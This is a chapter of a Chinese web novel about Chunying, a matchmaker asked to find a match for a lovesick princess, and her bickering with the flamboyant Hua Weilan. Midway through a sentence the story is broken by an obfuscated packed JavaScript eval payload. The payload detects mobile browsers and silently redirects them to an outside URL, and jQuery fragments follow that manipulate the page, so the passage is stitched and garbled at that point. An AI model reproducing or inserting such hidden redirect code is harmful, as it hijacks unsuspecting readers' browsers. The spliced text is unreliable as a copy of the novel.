初秋的风微凉,却挡不住春莹欢快的心情。
她谢绝王府嬷嬷的陪同,喜气洋洋地出了郡王府的大门。
守在门口的丫鬟阿翠,连忙朝她迎过来。见春莹喜笑颜开的模样,讨巧道:“发生什么事了,让小姐如此开心?”
“自然是天大的好事。”
春莹笑着上了马车,等阿翠放下车帘后,才接着说:“郡王夫人拜托我,为小郡主寻一门合适的亲事呢,我得赶快回去,把我的《京城贵公子榜》拿出来,好好揣摩揣摩。”
阿翠却不如春莹那般开心。
她略微担忧地道:“小姐,郡主是郡王和夫人的心头肉,肯定早早就为她寻好了夫家,怎地会找我们介绍。”
春莹脸上的笑容,有瞬间的僵硬,又很快恢复过来,低声道:“郡主又为了大表哥,在寻死觅活。”
这事在京城中并不稀奇,阿翠叹口气,“表公子也是难为。”
春莹的姨母嫁给了当朝太师,夫妻育有两子。其中大儿子修文,相貌俊朗,文采斐然,小小年纪就连中三元,被当今圣上亲封为殿前御书郎,前途无量。
意气风发的少年,自然能吸引住满京城的姑娘。
小郡主自从前年在宫宴上见到修文之后,就对他一见钟情,不管修文如何拒绝,这两三年,没少在宫中,以及京城各个地方‘偶遇’他。
郡主痴缠修文的流言也传遍了满京城。
郡王和郡王夫人一向视小郡主为掌中娇,眼见女儿痴情如此,哪怕被修文拒绝三年也依旧不放弃,夫妇两人早就心疼不已。
但妾有情,郎无意,再说修家也是京城世家,郡王和郡王夫人再疼爱女儿,也是有心无力。
春莹点头,赞叹道:“幸好郡王夫人是个明事理的,现在只想找个好人家,尽快把小郡主嫁出去,好让她死了这条心。”
不然按照小郡主是当今圣上亲侄女的身份,最后不管大表哥的想法,找圣上哭求个赐婚的圣旨,大表哥可就不娶也得娶了。
阿翠道:“这京城能配得上小郡主身份的公子,可不多。”
她的话没说完,春莹也能听得出来,那些能配得上郡主身份的大户人家,定然都听说过她倾心修文的各种事迹,哪里会舍得自家儿子去娶这样一个心里有别的男人的女子。
这些事情她知道,想来郡王夫人也都思量过,不然也不会找上自己。
春莹心里也犯愁,道:“先回府看看吧。”
韩府距离郡王府并不远,只隔了两条街。马车到了府门口之后,阿翠率先下了车,又扶着春莹,“小姐慢些。”
春莹颔首,看着门口站着满脸心虚的管家,明知故问:“小弟又出去玩了?”
管家解释道:“公子说很快回来,小姐不必担心。”
春莹‘哼’了一声,自从父亲因为秋闱之事,出京去各州城巡查之后,弟弟就像无法无天的猴儿一般,整日跑的不见人影。也幸好,他皮归皮,倒是没闯什么大祸。
春莹懒的管他,“让他回来去寻我一趟。”
“是。”
进府之后,春莹径直回了自己居住的院子。
她能看得出来,郡王夫人找上自己,并不但但因为郡王世子和世子夫人的婚事,是自己撮合而成,还有一层原因,就是借自己和修文是表兄妹的关系,最后一次试探修家,是否要和郡王府结亲。
春莹拿出自己珍藏的《京城贵公子排行榜》,不小心翻开了第一页,看到上面那个身着粉色长衫,右手执扇,笑的满脸风情的公子,春莹心中直呼晦气,连忙翻到第二页,待看到文质彬彬的修文,她的眼睛才睁开。
这才是风度翩翩贵公子的典范。
至于第一页那个到处开屏的花孔雀,要不是怕他再纠缠自己,春莹早把他每月都要送一次的画像撕个粉碎。
修文的画像是两年前画的,那时候的的他,眉眼明朗,神采奕奕,气质温润如玉,含笑如沐春风。短短两年间,他变得寡言少语,冷漠孤傲。
想到原因,春莹叹口气,沉默地合上了画册。
阿翠端了茶水过来,看到春莹手中的册子,道:“小姐不如去一趟修府,也好问问修夫人的意思。”
就算最后修文和小郡主有缘无分,最起码让郡王夫人知道春莹是努力过的,也省得将来落埋怨。
“也好。你去准备一些礼品,我也许久没有见姨母了。”
春莹起身,刚准备去屏风后换身衣服,就见弟弟韩春林,垂头丧气地走了进来,“姐姐。”
春莹上下打量着他,虽说衣服还算整洁,但脖颈处衣领松松垮垮,还带着不少褶皱,裤脚处还有被打湿的痕迹。春莹道:“又去惹祸了?”
韩春林眼睛猛地一亮,朝春莹竖起大拇指,恭维道:“姐姐当真是慧眼如炬。”
“少来这套,老规矩,去祠堂跪着去。”春莹道。
韩春林撇撇嘴,小声求饶:“姐姐,花哥哥在呢,你给我留点面子吧。”
花哥哥?这么肉麻的称呼,除了她生平最讨厌的人之外,再无二人了。
春莹向外瞥了一眼,果然看到门口站着一只粉色的花孔雀。
察觉到她的视线,花孔雀朝她摆摆手,笑眯眯地和她打招呼:“好久不见呀,莹莹妹妹~”
声音黏黏糊糊的,像是含了一块粽子糖。
春莹看见他就烦,“你来干什么?!”
花孔雀无辜地眨眨眼,“自然是送我的好弟弟回家。”
“现在人已经到家了,你可以走了。”
“吼~,”
花孔雀不满地掐腰,目光对准他们姐弟中比较好拿捏的人,“韩春林,你就这么对待你的救命恩人?”
韩春林当即上前,“姐姐~~”
春莹不耐烦地看着他,“去祠堂,跪着去。”
韩春林最是怕她,见春莹是真的生气了,颓丧地低着头,离开房间去了祠堂。
外头阿翠已经准备好去修府拜访的礼物,春莹见她点头,换好衣服之后径直向外走。
花孔雀跟着她,“莹莹妹妹,你都不送送我啊?还是礼部尚书的女儿呢,一点待客之道都没有。”
都路过自己身边了,连声招呼都不打,像他这个人完全不存在一样。
春莹翻了个白眼,毫不客气地反问:“你是客人?”
每月来她家的次数,她一双手都数不过来。又能言善道,处处逢迎,勾得府里的仆人婆子们,见了他比见到她还亲。
花孔雀得意一笑,“说的也是。不过莹莹,你要出门啊?又是去哪户人家说亲?你的《贵公子排行榜》更新了吗?我还是第一吗?要不是第一,我可要去御医院找个老头给你瞧瞧眼。”
每次两人见面他都要问一遍,春莹听的耳朵都要起茧子了。
“第一第一,你永远都是第一行了吧。”
花孔雀暗自得意,“那是。”
一路出门上了马车,看着他要跟着自己上去,春莹站在车辕上,居高临下地盯着他:“你上来做什么?”
花孔雀理所当然地说:“回府啊。像我这么貌美如花的人,皮肤可娇嫩着呢。莹莹,你忍心我顶着风吹日晒,一路走回府吗?”
他最是能言善道,没理也能辩三分,尤其此时他眼巴巴地向上看着她,可怜兮兮的脸蛋精致得像幅画一样,春莹的心轻而易举地就软了。她无奈松手,先进了车厢内。
等花孔雀喜滋滋地在她身边坐下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370972|199899||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,春莹才问:“这次又是谁家公子惹他了?”
春林虽说调皮爱惹事,但也不是随意动手的人。
花孔雀道:“小孩子不懂事,学人家约架呢。”
他没说实话。
两人自小一道长大,他说谎是什么样子,春莹一眼就能看出来。不过她也没再问,能让花孔雀和春林一起瞒着,约摸又是什么碎嘴子的人在议论不屑她当媒婆的事。
她能感觉得到,那些人一边贬低她,一边又想依靠她手中的人脉,为自家儿女寻一门好亲事。尤其是在去年,春莹在官媒处领了正式的差事之后,落在她身上的眼光更加复杂。
春莹从来不在乎他人的眼光。
花孔雀不想提,春莹也不主动提起此事,“那你呢,今日怎么如此好心。”
救了人还特意送回来。
花孔雀道:“你也知道,像我这种有着花容月貌之人,是最不喜动手打架的,万一毁容我可就没法活了。可怎么办呢,春林都朝我喊姐夫救命了,你说我能不管自己小舅子嘛。”
车轮咕噜噜转了两圈。
春莹才反应过来他在占自己便宜,气得她直接上手捶他的胳膊:“花微澜!你是不是有病!”
每次见面不把她气的跳脚,他都不罢休的。
花微澜嘻嘻笑着,也不躲,任她动手,只对着车帘外的阿翠,假声假气地低声喊:“阿翠,救命啊,你家小姐要谋杀亲夫了!”
阿翠面无表情,直视着前方,只右手悄悄伸到背后,拽紧了车帘,好阻止里面的动静传出来。
花微澜:“.....”
他哪一天要是被春莹打死了,埋尸的时候绝对是阿翠递的铁锹!
春莹打的手腕都酸了,才停下。不过经过他这么一闹腾,她心里因为郡王夫人积下来的郁气,倒是消了不少。
也算这只花孔雀有点用处。
春莹深深地舒口气,“等会到了修府,我进门之后,让车夫送你回去。”
“我就知道莹莹最好了~”
花微澜歪着头,又要拿脑袋去蹭春莹的肩膀。
马车适时地停下,春莹面无表情地推了一下花微澜的脑袋,直接站起来下了车。
身后车厢内传来‘咚’的一声响,同时还有花微澜夸张的呼痛声,春莹暗笑,交代车夫把他送回花府之后,才跟着修府的仆人,进了修府的大门。
修夫人是春莹的亲姨母,对他们姐弟很是关爱,小时候还经常把他们接到修府生活。是以修府的仆人们,对春莹也很热情熟稔。
“表小姐,夫人方才还念叨着您呢,小姐这就到了。可见小姐和夫人是心连着心。”
春莹笑颜相对,“大表哥在府吗?”
修府仆人摇头,“又去城外的药田了。”
前方就是修府的主院了,春莹走近厅内,看到榻上坐着的美艳妇人,笑道:“姨母。”
修夫人朝春莹伸出手,宠溺地念叨她:“你这孩子,许久不过来,怎么,还知道有个姨母呢。”
春莹嘿嘿一笑,亲昵地坐在修夫人的身侧,撒娇道:“姨母~,人家这段时间不是在忙嘛~姨母就别怪人家了~”
父亲常年繁忙,母亲去世之后,春莹就像个小大人似的,成了府里的顶梁柱。也只有在花微澜和修夫人面前,她才能放松一二,做回真正的自己。
修夫人摸着春莹的脸,心疼道:“又瘦了。再忙也要顾念自己的身子啊。”
春莹乖巧地点头。
修夫人一直都想要个甜甜可心的女儿,可惜只生育了两个儿子。姐姐早亡,她早把春莹当成了自己的女儿,见春莹眉目间的烦愁,修夫人直言道:“郡王夫人找你,可是为了郡主和修文之事?”